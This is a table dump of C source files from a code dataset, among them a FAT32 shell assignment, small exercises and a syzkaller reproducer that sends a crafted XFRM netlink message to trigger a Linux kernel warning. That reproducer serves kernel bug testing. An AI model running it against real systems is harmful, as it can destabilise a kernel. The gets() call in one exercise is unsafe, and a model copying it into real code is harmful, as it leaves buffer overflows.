file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/220454644.c | /**
ζ£ζ΅ε符串ιΏεΊ¦
*/
#include <stdio.h>
/*#include <curses.h>*/
int main() {
char str[100], i = 0, length;
printf("\n Enter the string : ");
gets (str);
while (str[i] != '\0')
i++;
length = i;
printf("\n The length of the string is : %d", length);
return 0;
}
|
the_stack_data/161081427.c | #include<stdio.h>
#include<math.h>
typedef struct im{
float real;
float imag;
}complex;
complex rootPositive(float,float,float);
complex rootNegative(float,float,float);
complex rootPositive(float a,float b,float c){
float num;
float test;
complex cm1;
test = pow(b,2) - 4*a*c;
if(test>=0){
num = -1*b + sqrt(test);
cm1.real = num/(2*a);
cm1.imag = 0;
}
else{
cm1.real = (-1*b)/(2*a);
cm1.imag = (sqrt(-1*test))/(2*a);
}
return cm1;
}
complex rootNegative(float a,float b,float c){
float num;
float test;
complex cm2;
test = pow(b,2) - 4*a*c;
if(test>=0){
num = -1*b - sqrt(test);
cm2.real = num/(2*a);
cm2.imag = 0;
}
else{
cm2.real = (-1*b)/(2*a);
cm2.imag = (sqrt(-1*test))/(2*a);
}
return cm2;
}
int main(){
float a,b,c;
complex cm1,cm2;
printf("\nThis is the generalized root finder for the equation ax^2 + bx + c = 0");
printf("\nEnter the values of a,b,c leaving a space in between each of them \n");
scanf("%f %f %f",&a,&b,&c);
cm1 = rootPositive(a,b,c);
cm2 = rootNegative(a,b,c);
if(cm1.imag == 0){
printf("\nRoot 1: %f",cm1.real);
printf("\nRoot 2: %f",cm2.real);
}
else{
printf("\nRoot 1: %f + %f i",cm1.real, cm1.imag);
printf("\nRoot 1: %f - %f i",cm2.real, cm2.imag);
}
return 0;
}
|
the_stack_data/165769542.c | /*
Section: 900
Group Members:
Hardik Shukla 1001664934
Utkarsh Verma 1001663173
*/
// The MIT License (MIT)
//
// Copyright (c) 2020 Trevor Bakker
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdint.h>
#include <ctype.h>
#define ATTR_READ_ONLY 0x01
#define ATTR_HIDDEN 0x02
#define ATTR_SYSTEM 0x04
#define ATTR_VOLUME_ID 0x08
#define ATTR_DIRECTORY 0x10
#define ATTR_ARCHIVE 0x20
struct __attribute__((__packed__)) DirectoryEntry
{
char DIR_Name[11];
uint8_t DIR_Attr;
uint8_t unused1[8];
uint16_t DIR_FirstClusterHigh;
uint8_t unused2[4];
uint16_t DIR_FirstClusterLow;
uint32_t DIR_FileSize;
};
struct DirectoryEntry dir[16];
uint16_t BPB_BytsPerSec;
uint8_t BPB_SecPerClus;
uint16_t BPB_RsvdSecCnt;
uint8_t BPB_NumFATs;
uint32_t BPB_FATSz32;
FILE *fp;
int file_open=0;
/*
* Function : LBAToOffset
* Parameters : The current sector number that points to a block of data
* Returns: : The value of the address for that block of data
* Description : Finds the starting addresss of a block of data given the sector number
* corresponding to that data block.
*/
int LBAToOffset(int32_t sector)
{
return ((sector-2) * BPB_BytsPerSec) + (BPB_BytsPerSec * BPB_RsvdSecCnt) + (BPB_NumFATs * BPB_FATSz32 * BPB_BytsPerSec);
}
/* Function: NextLB
* Purpose Given a logical block address, look up into the first FAT
* and return the logical block address of the block in the file.
* If there is no further blocks then return -1
*/
int16_t NextLB(uint32_t sector)
{
uint32_t FATAddress = (BPB_BytsPerSec * BPB_RsvdSecCnt) + (sector * 4);
int16_t val;
fseek(fp, FATAddress, SEEK_SET);
fread(&val, 2, 1, fp);
return val;
}
int compare(char *userString ,char *directoryString)
{
const char *dotdot="..";
if(strncmp(dotdot,userString,2)==0)
{
if(strncmp(dotdot,directoryString,2)==0)
{
return 1; // that's a match
}
return 0;
}
char IMG_Name[12];
strncpy( IMG_Name, directoryString, 11 );
IMG_Name[11] = '\0';
char input[11] ;
memset( input, 0, 11 );
strncpy( input, userString, strlen(userString) );
char expanded_name[12];
memset( expanded_name, ' ', 12 );
char *token = strtok( input, "." );
strncpy( expanded_name, token, strlen( token ) );
token = strtok( NULL, "." );
if( token )
{
strncpy( (char*)(expanded_name+8), token, strlen(token ) );
}
expanded_name[11] = '\0';
int i;
for( i = 0; i < 11; i++ )
{
expanded_name[i] = toupper( expanded_name[i] );
}
if( strncmp( expanded_name, IMG_Name, 11 ) == 0 )
{
return 1;
}
return 0;
}
#define MAX_NUM_ARGUMENTS 4
#define NUM_ENTRIES 16
#define WHITESPACE " \t\n" // We want to split our command line up into tokens
// so we need to define what delimits our tokens.
// In this case white space
// will separate the tokens on our command line
#define MAX_COMMAND_SIZE 255 // The maximum command-line size
int bpb()
{
printf("BPB_BytsPerSec: %4d 0x%x\n",BPB_BytsPerSec,BPB_BytsPerSec);
printf("BPB_SecPerClus: %4d 0x%x\n",BPB_SecPerClus,BPB_SecPerClus);
printf("BPB_RsvdSecCnt: %4d 0x%x\n",BPB_RsvdSecCnt,BPB_RsvdSecCnt);
printf("BPB_NumFATs: %4d 0x%x\n",BPB_NumFATs ,BPB_NumFATs);
printf("BPB_FATSz32: %4d 0x%x\n",BPB_FATSz32,BPB_FATSz32);
return 0;
}
int ls()
{
int i;
for(i=0;i<NUM_ENTRIES;i++)
{
char filename[12];
strncpy(filename,dir[i].DIR_Name,11);
filename[11]='\0';
if((dir[i].DIR_Attr == ATTR_READ_ONLY||dir[i].DIR_Attr== ATTR_DIRECTORY
||dir[i].DIR_Attr==ATTR_ARCHIVE)&&(filename[0] != 0xffffffe5 ))
{
printf("%s\n",filename);
}
}
return 0;
}
int cd(char * directoryName)
{
// loop over the directory and search for the directory name and
// if the directory name is found then get the low cluster number of the directory
// if th ecluster number is zero then set the cluster number to 2
// use LABTOFFSEt to get the offset of the directory
//The fseek to the offset
//Read the directory information in the directory array
int i;
int found =0;
for(i=0; i<NUM_ENTRIES; i++)
{
if(compare(directoryName,dir[i].DIR_Name))
{
int cluster=dir[i].DIR_FirstClusterLow;
if(cluster==0)
{
cluster=2;
}
int offset= LBAToOffset(cluster);
fseek(fp,offset,SEEK_SET);
fread(dir,sizeof(struct DirectoryEntry),NUM_ENTRIES,fp);
found =1;
break;
}
}
if(!found)
{
printf("Error: Directory not found!\n");
return -1;
}
return 0;
}
int statFile(char * fileName)
{
int i;
int found =0;
for(i=0; i<NUM_ENTRIES; i++)
{
if(compare(fileName,dir[i].DIR_Name))
{
char name[12];
strncpy(name,dir[i].DIR_Name,11);
name[11]='\0';
printf("%s Attr: %d Size: %d Cluster: %d\n",name,dir[i].DIR_Attr,dir[1].DIR_FileSize,dir[i].DIR_FirstClusterLow);
found=1;
}
}
if(!found)
{
printf("Error: File Not Found.\n");
}
return 0;
}
int getFile(char* originalFilename, char *newFileName)
{
FILE *ofp;
if (newFileName ==NULL)
{
ofp =fopen(originalFilename,"w");
if(ofp==NULL)
{
printf("Couldn't open the File %s\n",originalFilename);
perror("Error: ");
}
}
else
{
ofp=fopen(newFileName,"w");
if(ofp==NULL)
{
printf("Couldn't open the File %s\n",newFileName);
perror("Error: ");
}
}
int i;
int found =0;
for(i=0; i<NUM_ENTRIES; i++)
{
if(compare(originalFilename,dir[i].DIR_Name))
{
int cluster=dir[i].DIR_FirstClusterLow;
found =1;
int bytesRemainingToRead=dir[i].DIR_FileSize;
int offset= 0;
unsigned char buffer [512];
// Handling the mid-section of the file block How is it the middle block
// it's middle if blocks on either side are full
while(bytesRemainingToRead>=BPB_BytsPerSec)
{
offset=LBAToOffset(cluster);
fseek(fp,offset, SEEK_SET );
fread(buffer,1, BPB_BytsPerSec,fp);
fwrite(buffer,1,512,ofp);
cluster =NextLB(cluster);
bytesRemainingToRead= bytesRemainingToRead-BPB_BytsPerSec;
}
// Handling the last block
if(bytesRemainingToRead)
{
offset=LBAToOffset(cluster);
fseek(fp,offset, SEEK_SET );
fread(buffer,1, bytesRemainingToRead,fp);
fwrite(buffer,1,bytesRemainingToRead,ofp);
}
fclose(ofp);
}
}
return 0;
}
int readFile(char * fileName, int requestedOffset, int requestedBytes)
{
int i;
int found =0;
int bytesRemainingToRead = requestedBytes;
if(requestedOffset<0)
{
printf("Error: Offset can't be less than zero \n");
}
//for the command read num.txt 510 4
//requested_offset =510
// requested_bytes =4;
for(i=0; i<NUM_ENTRIES; i++)
{
if(compare(fileName,dir[i].DIR_Name))
{
int cluster=dir[i].DIR_FirstClusterLow;
found =1;
//dummy loop to print out all the clusters of the file
int searchSize= requestedOffset;
// Searching the beginning cluster of the file
// To read num.txt 512, We need to begin with the second cluster
while(searchSize>= BPB_BytsPerSec)
{
cluster=NextLB(cluster);
searchSize=searchSize-BPB_BytsPerSec;
}
//printf("Your Cluster is %d\n",cluster);
// Reading the first block
int offset= LBAToOffset(cluster);
int byteOffset=( requestedOffset % BPB_BytsPerSec);
fseek(fp,offset + byteOffset, SEEK_SET );
unsigned char buffer [BPB_BytsPerSec];
// figure out the number of bytes to be read in the first block
int firstBlockBytes = BPB_BytsPerSec-requestedOffset;
fread(buffer,1, firstBlockBytes,fp);
for(i=0;i<firstBlockBytes;i++)
{
printf("%x ",buffer[i]);
}
bytesRemainingToRead= bytesRemainingToRead-firstBlockBytes;
// Handling the mid-section of the file block How is it the middle block
// it's middle if blocks on either side are full
while(bytesRemainingToRead>=512)
{
cluster= NextLB(cluster);
offset=LBAToOffset(cluster);
fseek(fp,offset, SEEK_SET );
fread(buffer,1, BPB_BytsPerSec,fp);
for(i=0;i<BPB_BytsPerSec;i++)
{
printf("%x ",buffer[i]);
}
bytesRemainingToRead= bytesRemainingToRead-BPB_BytsPerSec;
}
// Handling the last block
if(bytesRemainingToRead)
{
cluster= NextLB(cluster);
offset=LBAToOffset(cluster);
fseek(fp,offset, SEEK_SET );
fread(buffer,1, bytesRemainingToRead,fp);
for(i=0;i<bytesRemainingToRead;i++)
{
printf("%x ",buffer[i]);
}
}
printf("\n");
}
}
if(!found)
{
printf("Error: Directory is not found!\n");
return -1;
}
return 0;
}
int main()
{
char * cmd_str = (char*) malloc( MAX_COMMAND_SIZE );
while( 1 )
{
// Print out the mfs prompt
printf ("mfs> ");
// Read the command from the commandline. The
// maximum command that will be read is MAX_COMMAND_SIZE
// This while command will wait here until the user
// inputs something since fgets returns NULL when there
// is no input
while( !fgets (cmd_str, MAX_COMMAND_SIZE, stdin) );
/* Parse input */
char *token[MAX_NUM_ARGUMENTS];
int token_count = 0;
// Pointer to point to the token
// parsed by strsep
char *arg_ptr;
char *working_str = strdup( cmd_str );
// we are going to move the working_str pointer so
// keep track of its original value so we can deallocate
// the correct amount at the end
char *working_root = working_str;
// Tokenize the input stringswith whitespace used as the delimiter
while ( ( (arg_ptr = strsep(&working_str, WHITESPACE ) ) != NULL) &&
(token_count<MAX_NUM_ARGUMENTS))
{
token[token_count] = strndup( arg_ptr, MAX_COMMAND_SIZE );
if( strlen( token[token_count] ) == 0 )
{
token[token_count] = NULL;
}
token_count++;
}
// Now print the tokenized input as a debug check
// \TODO Remove this code and replace with your FAT32 functionality
if(strcmp(token[0],"open")==0)
{
if(file_open )
{
printf("Error: File already open!\n");
continue;
}
else
{
fp= fopen(token[1],"r");
if(fp==NULL)
{
perror("Error: File does not exist ");
continue;
}
}
if(fp==NULL)
{
perror("Couldn't open the file");
printf(" %s\n",token[1]);
}
else
{
file_open=1;
//printf("Error: File already open!");
}
//read the BPB section
fseek(fp, 11, SEEK_SET);
fread(&BPB_BytsPerSec,1,2,fp);
fseek(fp,13,SEEK_SET);
fread(&BPB_SecPerClus,1,1,fp);
fseek(fp,14,SEEK_SET);
fread(&BPB_RsvdSecCnt,1,2,fp);
fseek(fp,16,SEEK_SET);
fread(&BPB_NumFATs ,1,2,fp);
fseek(fp,36,SEEK_SET);
fread(&BPB_FATSz32,1,4,fp);
// the root directory address is located past the reserved sector area and both the FATs
int rootAddress=(BPB_RsvdSecCnt*BPB_BytsPerSec)+(BPB_NumFATs*BPB_FATSz32* BPB_BytsPerSec);
//printf("%x\n",rootAddress);
fseek(fp,rootAddress,SEEK_SET);
fread(dir,sizeof(struct DirectoryEntry),NUM_ENTRIES,fp);
}
else if(strcmp(token[0],"close")==0)
{
if(file_open)
{
fclose(fp);
//reset the file state
fp=NULL;
file_open=0;
}
else
{
perror("Error :File not open\n");
}
}
else if(strcmp(token[0],"bpb")==0)
{
if(file_open)
{
bpb();
}
else
{
perror("Error :File image not opened\n");
}
}
else if(strcmp(token[0],"ls")==0)
{
if(file_open)
{
ls();
}
else
{
perror("Error :File image is not open\n");
}
}
else if(strcmp(token[0],"cd")==0)
{
if(file_open)
{
cd(token[1]);
}
else
{
perror("Error :File Image not opened\n");
}
}
else if(strcmp(token[0],"read")==0)
{
if(file_open)
{
readFile(token[1],atoi(token[2]),atoi(token[3]));
}
else
{
perror("Error :File image is not open\n");
}
}
else if(strcmp(token[0],"get")==0)
{
if(file_open)
{
getFile(token[1],token[2]);
}
else
{
perror("Error :File image is not open\n");
}
}
else if(strcmp(token[0],"stat")==0)
{
if(file_open)
{
statFile(token[1]);
}
else
{
perror("Error :File image is not open\n");
}
}
free( working_root );
}
return 0;
}
|
the_stack_data/117329075.c | // WARNING in xfrm_alloc_compat (2)
// https://syzkaller.appspot.com/bug?id=834ffd1afc7212eb8147
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
uint64_t r[1] = {0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
intptr_t res = 0;
res = syscall(__NR_socket, 0x10ul, 3ul, 6);
if (res != -1)
r[0] = res;
*(uint64_t*)0x20000580 = 0;
*(uint32_t*)0x20000588 = 0;
*(uint64_t*)0x20000590 = 0x20000180;
*(uint64_t*)0x20000180 = 0x200001c0;
memcpy((void*)0x200001c0,
"\xd0\x01\x00\x00\x16\x00\x01\x00\x2c\xbd\x70\x00\xfe\xdb\xdf\x25\xe0"
"\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xac\x14"
"\x14\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4e\x23\x00"
"\x08\x4e\x23\x00\x04\x02\x00\xa0\x20\x00\x00\x00\x00",
64);
*(uint32_t*)0x20000200 = 0;
*(uint32_t*)0x20000204 = 0;
memcpy(
(void*)0x20000208,
"\xfe\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
"\x04\xd3\x33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff"
"\xac\x14\x14\xbb\x2e\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c"
"\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x02\x00\x00"
"\x00\x00\x00\x00\xff\x7f\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00"
"\x00\x00\xff\x07\x00\x00\x00\x00\x00\x00\xff\x00\xff\xff\xff\x7f\x05\x00"
"\x00\x00\x25\xbd\x70\x00\x02\x35\x00\x00\x0a\x00\x00\xa7\x20\x00\xe8\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\xac\x00\x07\x00\x64\x01"
"\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xac\x14\x14\x39"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4e\x24\x00\x07\x4e\x24"
"\x00\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
228);
*(uint32_t*)0x200002ec = 0;
*(uint32_t*)0x200002f0 = 0xee01;
*(uint64_t*)0x20000188 = 0x1d0;
*(uint64_t*)0x20000598 = 1;
*(uint64_t*)0x200005a0 = 0;
*(uint64_t*)0x200005a8 = 0;
*(uint32_t*)0x200005b0 = 0;
syscall(__NR_sendmsg, r[0], 0x20000580ul, 0ul);
return 0;
}
|
the_stack_data/144698.c | /*============================================================================
KWSys - Kitware System Library
Copyright 2000-2009 Kitware, Inc., Insight Software Consortium
Distributed under the OSI-approved BSD License (the "License");
see accompanying file Copyright.txt for details.
This software is distributed WITHOUT ANY WARRANTY; without even the
implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the License for more information.
============================================================================*/
/*
Macros to define main() in a cross-platform way.
Usage:
int KWSYS_PLATFORM_TEST_C_MAIN()
{
return 0;
}
int KWSYS_PLATFORM_TEST_C_MAIN_ARGS(argc, argv)
{
(void)argc; (void)argv;
return 0;
}
*/
#if defined(__CLASSIC_C__)
# define KWSYS_PLATFORM_TEST_C_MAIN() \
main()
# define KWSYS_PLATFORM_TEST_C_MAIN_ARGS(argc, argv) \
main(argc,argv) int argc; char* argv[];
#else
# define KWSYS_PLATFORM_TEST_C_MAIN() \
main(void)
# define KWSYS_PLATFORM_TEST_C_MAIN_ARGS(argc, argv) \
main(int argc, char* argv[])
#endif
/*--------------------------------------------------------------------------*/
#ifdef TEST_KWSYS_C_HAS_PTRDIFF_T
#include <stddef.h>
int f(ptrdiff_t n) { return n > 0; }
int KWSYS_PLATFORM_TEST_C_MAIN()
{
char* p = 0;
ptrdiff_t d = p - p;
(void)d;
return f(p - p);
}
#endif
/*--------------------------------------------------------------------------*/
#ifdef TEST_KWSYS_C_HAS_SSIZE_T
#include <unistd.h>
int f(ssize_t n) { return (int)n; }
int KWSYS_PLATFORM_TEST_C_MAIN()
{
ssize_t n = 0;
return f(n);
}
#endif
/*--------------------------------------------------------------------------*/
#ifdef TEST_KWSYS_C_TYPE_MACROS
char* info_macros =
#if defined(__SIZEOF_SHORT__)
"INFO:macro[__SIZEOF_SHORT__]\n"
#endif
#if defined(__SIZEOF_INT__)
"INFO:macro[__SIZEOF_INT__]\n"
#endif
#if defined(__SIZEOF_LONG__)
"INFO:macro[__SIZEOF_LONG__]\n"
#endif
#if defined(__SIZEOF_LONG_LONG__)
"INFO:macro[__SIZEOF_LONG_LONG__]\n"
#endif
#if defined(__SHORT_MAX__)
"INFO:macro[__SHORT_MAX__]\n"
#endif
#if defined(__INT_MAX__)
"INFO:macro[__INT_MAX__]\n"
#endif
#if defined(__LONG_MAX__)
"INFO:macro[__LONG_MAX__]\n"
#endif
#if defined(__LONG_LONG_MAX__)
"INFO:macro[__LONG_LONG_MAX__]\n"
#endif
"";
int KWSYS_PLATFORM_TEST_C_MAIN_ARGS(argc, argv)
{
int require = 0;
require += info_macros[argc];
(void)argv;
return require;
}
#endif
|
the_stack_data/26700506.c | #ifdef COMPILE_FOR_TEST
#include <assert.h>
#define assume(cond) assert(cond)
#endif
void main(int argc, char* argv[]) {
int x_0_0;//sh_buf.outcnt
int x_0_1;//sh_buf.outcnt
int x_0_2;//sh_buf.outcnt
int x_0_3;//sh_buf.outcnt
int x_0_4;//sh_buf.outcnt
int x_0_5;//sh_buf.outcnt
int x_1_0;//sh_buf.outbuf[0]
int x_1_1;//sh_buf.outbuf[0]
int x_2_0;//sh_buf.outbuf[1]
int x_2_1;//sh_buf.outbuf[1]
int x_3_0;//sh_buf.outbuf[2]
int x_3_1;//sh_buf.outbuf[2]
int x_4_0;//sh_buf.outbuf[3]
int x_4_1;//sh_buf.outbuf[3]
int x_5_0;//sh_buf.outbuf[4]
int x_5_1;//sh_buf.outbuf[4]
int x_6_0;//sh_buf.outbuf[5]
int x_7_0;//sh_buf.outbuf[6]
int x_8_0;//sh_buf.outbuf[7]
int x_9_0;//sh_buf.outbuf[8]
int x_10_0;//sh_buf.outbuf[9]
int x_11_0;//LOG_BUFSIZE
int x_11_1;//LOG_BUFSIZE
int x_12_0;//CREST_scheduler::lock_0
int x_12_1;//CREST_scheduler::lock_0
int x_12_2;//CREST_scheduler::lock_0
int x_12_3;//CREST_scheduler::lock_0
int x_12_4;//CREST_scheduler::lock_0
int x_13_0;//t3 T0
int x_14_0;//t2 T0
int x_15_0;//arg T0
int x_16_0;//functioncall::param T0
int x_16_1;//functioncall::param T0
int x_17_0;//buffered T0
int x_18_0;//functioncall::param T0
int x_18_1;//functioncall::param T0
int x_19_0;//functioncall::param T0
int x_19_1;//functioncall::param T0
int x_20_0;//functioncall::param T0
int x_20_1;//functioncall::param T0
int x_20_2;//functioncall::param T0
int x_20_3;//functioncall::param T0
int x_21_0;//functioncall::param T0
int x_21_1;//functioncall::param T0
int x_22_0;//direction T0
int x_23_0;//functioncall::param T0
int x_23_1;//functioncall::param T0
int x_24_0;//functioncall::param T0
int x_24_1;//functioncall::param T0
int x_25_0;//functioncall::param T0
int x_25_1;//functioncall::param T0
int x_26_0;//functioncall::param T0
int x_26_1;//functioncall::param T0
int x_27_0;//functioncall::param T0
int x_27_1;//functioncall::param T0
int x_28_0;//functioncall::param T0
int x_28_1;//functioncall::param T0
int x_29_0;//functioncall::param T0
int x_29_1;//functioncall::param T0
int x_30_0;//functioncall::param T0
int x_30_1;//functioncall::param T0
int x_31_0;//functioncall::param T0
int x_31_1;//functioncall::param T0
int x_32_0;//functioncall::param T0
int x_32_1;//functioncall::param T0
int x_33_0;//functioncall::param T0
int x_33_1;//functioncall::param T0
int x_34_0;//functioncall::param T0
int x_34_1;//functioncall::param T0
int x_35_0;//functioncall::param T1
int x_35_1;//functioncall::param T1
int x_36_0;//functioncall::param T1
int x_36_1;//functioncall::param T1
int x_37_0;//i T1
int x_37_1;//i T1
int x_37_2;//i T1
int x_38_0;//rv T1
int x_39_0;//rv T1
int x_40_0;//blocksize T1
int x_40_1;//blocksize T1
int x_41_0;//functioncall::param T1
int x_41_1;//functioncall::param T1
int x_41_2;//functioncall::param T1
int x_42_0;//apr_thread_mutex_lock::rv T1
int x_42_1;//apr_thread_mutex_lock::rv T1
int x_43_0;//functioncall::param T1
int x_43_1;//functioncall::param T1
int x_44_0;//status T1
int x_44_1;//status T1
int x_45_0;//functioncall::param T1
int x_45_1;//functioncall::param T1
int x_46_0;//functioncall::param T1
int x_46_1;//functioncall::param T1
int x_47_0;//functioncall::param T1
int x_47_1;//functioncall::param T1
int x_48_0;//functioncall::param T1
int x_48_1;//functioncall::param T1
int x_49_0;//functioncall::param T1
int x_49_1;//functioncall::param T1
int x_50_0;//functioncall::param T1
int x_50_1;//functioncall::param T1
int x_51_0;//functioncall::param T2
int x_51_1;//functioncall::param T2
int x_52_0;//functioncall::param T2
int x_52_1;//functioncall::param T2
int x_53_0;//i T2
int x_53_1;//i T2
int x_53_2;//i T2
int x_53_3;//i T2
int x_54_0;//rv T2
int x_55_0;//rv T2
int x_56_0;//blocksize T2
int x_56_1;//blocksize T2
int x_57_0;//functioncall::param T2
int x_57_1;//functioncall::param T2
int x_57_2;//functioncall::param T2
int x_58_0;//apr_thread_mutex_lock::rv T2
int x_58_1;//apr_thread_mutex_lock::rv T2
int x_59_0;//functioncall::param T2
int x_59_1;//functioncall::param T2
int x_60_0;//status T2
int x_60_1;//status T2
int x_61_0;//functioncall::param T2
int x_61_1;//functioncall::param T2
int x_62_0;//functioncall::param T2
int x_62_1;//functioncall::param T2
int x_63_0;//functioncall::param T2
int x_63_1;//functioncall::param T2
int x_64_0;//functioncall::param T2
int x_64_1;//functioncall::param T2
int x_65_0;//functioncall::param T2
int x_65_1;//functioncall::param T2
int x_65_2;//functioncall::param T2
int x_66_0;//functioncall::param T2
int x_66_1;//functioncall::param T2
int x_67_0;//functioncall::param T2
int x_67_1;//functioncall::param T2
int x_68_0;//functioncall::param T2
int x_68_1;//functioncall::param T2
T_0_0_0: x_0_0 = 0;
T_0_1_0: x_1_0 = 0;
T_0_2_0: x_2_0 = 0;
T_0_3_0: x_3_0 = 0;
T_0_4_0: x_4_0 = 0;
T_0_5_0: x_5_0 = 0;
T_0_6_0: x_6_0 = 0;
T_0_7_0: x_7_0 = 0;
T_0_8_0: x_8_0 = 0;
T_0_9_0: x_9_0 = 0;
T_0_10_0: x_10_0 = 0;
T_0_11_0: x_11_0 = 0;
T_0_12_0: x_13_0 = 1705356160;
T_0_13_0: x_14_0 = 426902112;
T_0_14_0: x_15_0 = 0;
T_0_15_0: x_16_0 = 670803587;
T_0_16_0: x_16_1 = -1;
T_0_17_0: x_17_0 = 0;
T_0_18_0: x_18_0 = 682753088;
T_0_19_0: x_18_1 = x_17_0;
T_0_20_0: x_19_0 = 74082022;
T_0_21_0: x_19_1 = 97;
T_0_22_0: x_20_0 = 1755089003;
T_0_23_0: x_20_1 = 0;
T_0_24_0: x_21_0 = 460493792;
T_0_25_0: x_21_1 = 0;
T_0_26_0: x_22_0 = 426897472;
T_0_27_0: x_23_0 = 835782780;
T_0_28_0: x_23_1 = x_22_0;
T_0_29_0: x_24_0 = 1455177446;
T_0_30_0: x_24_1 = 0;
T_0_31_0: x_12_0 = -1;
T_0_32_0: x_0_1 = 5;
T_0_33_0: x_1_1 = 72;
T_0_34_0: x_2_1 = 69;
T_0_35_0: x_3_1 = 76;
T_0_36_0: x_4_1 = 76;
T_0_37_0: x_5_1 = 79;
T_0_38_0: x_25_0 = 591050009;
T_0_39_0: x_25_1 = 83;
T_0_40_0: x_26_0 = 1546658441;
T_0_41_0: x_26_1 = 1;
T_0_42_0: x_27_0 = 1512309080;
T_0_43_0: x_27_1 = 1;
T_0_44_0: x_28_0 = 1649021972;
T_0_45_0: x_28_1 = 1;
T_0_46_0: x_29_0 = 723951100;
T_0_47_0: x_29_1 = 82;
T_0_48_0: x_30_0 = 1737672275;
T_0_49_0: x_30_1 = 90;
T_0_50_0: x_31_0 = 96291924;
T_0_51_0: x_31_1 = 1;
T_0_52_0: x_32_0 = 37780066;
T_0_53_0: x_32_1 = 1;
T_0_54_0: x_33_0 = 972386523;
T_0_55_0: x_33_1 = 2;
T_0_56_0: x_34_0 = 218930090;
T_0_57_0: x_34_1 = 2;
T_0_58_0: x_11_1 = 5;
T_1_59_1: x_35_0 = 5953599;
T_1_60_1: x_35_1 = x_27_1;
T_1_61_1: x_36_0 = 1886103755;
T_1_62_1: x_36_1 = x_28_1;
T_1_63_1: x_37_0 = 0;
T_1_64_1: x_38_0 = -475459071;
T_2_65_2: x_51_0 = 1551293446;
T_2_66_2: x_51_1 = x_33_1;
T_2_67_2: x_52_0 = 916116330;
T_2_68_2: x_52_1 = x_34_1;
T_2_69_2: x_53_0 = 0;
T_2_70_2: x_54_0 = -477560319;
T_2_71_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0) x_55_0 = 433964976;
T_2_72_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0) x_56_0 = 10924;
T_2_73_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0) x_57_0 = 630644836;
T_2_74_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0) x_57_1 = x_0_1;
T_2_75_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && x_0_1 == x_57_1) x_58_0 = 0;
T_1_76_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_39_0 = 433964976;
T_1_77_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0) x_40_0 = 10924;
T_1_78_1: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && x_0_1 == x_57_1 && 0 == x_12_0 + 1) x_12_1 = 2;
T_1_79_1: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && x_0_1 == x_57_1 && 2 == x_12_1) x_58_1 = 0;
T_2_80_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && 2 == x_12_1) x_59_0 = 26206888;
T_2_81_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && 2 == x_12_1) x_59_1 = 0;
T_2_82_2: if (x_0_1 + x_52_1 > x_11_1 && x_0_1 != 0 && x_18_1 != 0 && 0 == x_59_1 && 2 == x_12_1) x_56_1 = x_57_1;
